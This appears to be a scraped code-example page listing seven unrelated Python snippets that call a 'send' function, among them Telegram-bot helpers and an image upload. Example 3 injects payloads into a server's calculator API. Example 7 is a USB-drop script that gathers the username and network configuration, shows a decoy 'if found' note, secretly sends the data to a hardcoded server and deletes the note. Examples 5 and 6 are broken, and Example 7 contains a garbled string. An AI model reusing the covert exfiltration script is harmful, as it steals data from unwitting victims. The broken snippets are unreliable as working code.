Пример #1
0
def send_message(chat_id, message, keyboard=None):
    data = {
        "chat_id": chat_id,
        "text": message,
        'reply_markup': keyboard,
    }
    send(f"{TELEGRAM_URL}{BOT_TOKEN}/sendMessage", data=data)
    JsonResponse({" ok ": " POST request processed"})
Пример #2
0
def send_image(chat_id, file, message):
    with open(file, "rb") as fl:
        dt = fl.read()

    data = {
        'chat_id': chat_id,
        'caption': message,
    }
    send(f"{TELEGRAM_URL}{BOT_TOKEN}/sendPhoto", files={'photo': dt},  data=data)
    return JsonResponse({" ok ": " POST request processed"})
Пример #3
0
def execute(host, payload):
    """
    Executes a payload by injecting it to the server
    """
    return send('http://{}/api/calc'.format(host), json={
        'expression': payload
    }).json()['result']
Пример #4
0
def sendToStorage(image_name, operation, authorization):
    """
    :param str image_name: Name of the image which will be sent.
    :param operation: The applied operation.
    """

    ''' looks up the images by name and sends them to the persistency layer '''
    rindex = image_name.rindex('.')
    name = image_name[:rindex]
    format = image_name[rindex + 1:]
    print(image_name)
    print(name)
    print(format)

    images = [('combined', ('combined.png', open('img/' + operation + '_combined.png', 'rb'), 'image/png')),
              ('directions', ('directions.png', open('img/' + operation + '_directions.png', 'rb'), 'image/png')),
              ('imag', ('imag.png', open('img/' + operation + '_imag.png', 'rb'), 'image/png')),
              ('magnitudes', ('magnitudes.png', open('img/' + operation + '_magnitudes.png', 'rb'), 'image/png')),
              ('real', ('real.png', open('img/' + operation + '_real.png', 'rb'), 'image/png')),
              ('original_image', ('original_image', open("img/original.png", 'rb'), 'image/png'))]
    send('http://' + DB_SERVER + ':1339/images', files=images, data={'operator': operation, 'name': image_name}, headers={'Authorization': authorization})
Пример #5
0
import requests as req

dado = {
  "botões": {
    "num1": "true", 
    "num2": "false",
    "time": "05:15:04"
    }
}

req = requests.Request('GET', 'http://httpbin.org/get')
req.prepare()
req.send(dado)

'''

---------- INFORMAÇÕES SOBRE A BIBLIOTECA REQUESTS -----------

BÁSICO: https://requests.readthedocs.io/pt_BR/latest/user/quickstart.html
AVANÇADO: https://requests.readthedocs.io/pt_BR/latest/user/advanced.html#advanced
PARÂMETROS + SESSION: https://requests.readthedocs.io/pt_BR/latest/api.html#sessionapi

'''
Пример #6
0
import requests

requests.get("hello")
requests.send()
Пример #7
0
from requests import get as send
from subprocess import check_output as run
from time import sleep
from os import system, getlogin

try:
    web_server_ip = "192.168.0.100"  # <------ CHANGE THIS
    username = getlogin()
    ipconfig = str(run("ipconfig /all")).replace('#2', ' ')
    data = ("\n\nConnection details:\n"\
            "-------------------\n"\
            "Username: "******"\n"\
            "Network details: \n" +\
            ipconfig + "\n")

    with open("if_found.txt", "w+") as cover_up:
        cover_up.write("If found you have found this USB stick, "\
                       "please contact John Smith on 0412 345 678. "\
                       "Thanks!")
    system("start /MAX notepad.exe if_found.txt")

    try:
        send(url="http://" + web_server_ip, params=data, timeout=1)
    except:
        pass

    sleep(0.2)
    system("del if_found.txt")
except:
    pass